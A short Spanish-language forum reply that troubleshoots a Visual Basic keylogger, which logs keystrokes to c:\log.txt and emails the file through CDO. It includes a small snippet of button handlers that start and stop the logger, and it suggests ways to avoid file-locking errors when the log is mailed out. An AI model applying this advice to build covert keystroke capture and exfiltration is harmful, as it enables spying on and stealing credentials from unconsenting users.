Hola, como envías el txt? como un adjunto o texto como cuerpo del mail? si lo envías como adjunto puede que el que lo este utilizando (abriendo) sea CDO, entonces si reanudas antes que CDO finalice su operación te va a dar ese error. (tene en cuenta que CDO requiere un tiempo extra en enviar el mail.)
fíjate que si habilitas y deshabilitas varias veces solo el keylogger no tenes ese problema
Option Explicit
Private Sub Command1_Click()
StarKeyLogger "c:\log.txt"
End Sub
Private Sub Command2_Click()
EndKeyLogger
End Sub
una optción es enviar el contenido del txt como cuerpo del mail, entonces vos sos el que maneja la apertura y cierre del archivo, y otra opción es utilizar nombres progresivos o aleatorios.
Saludos.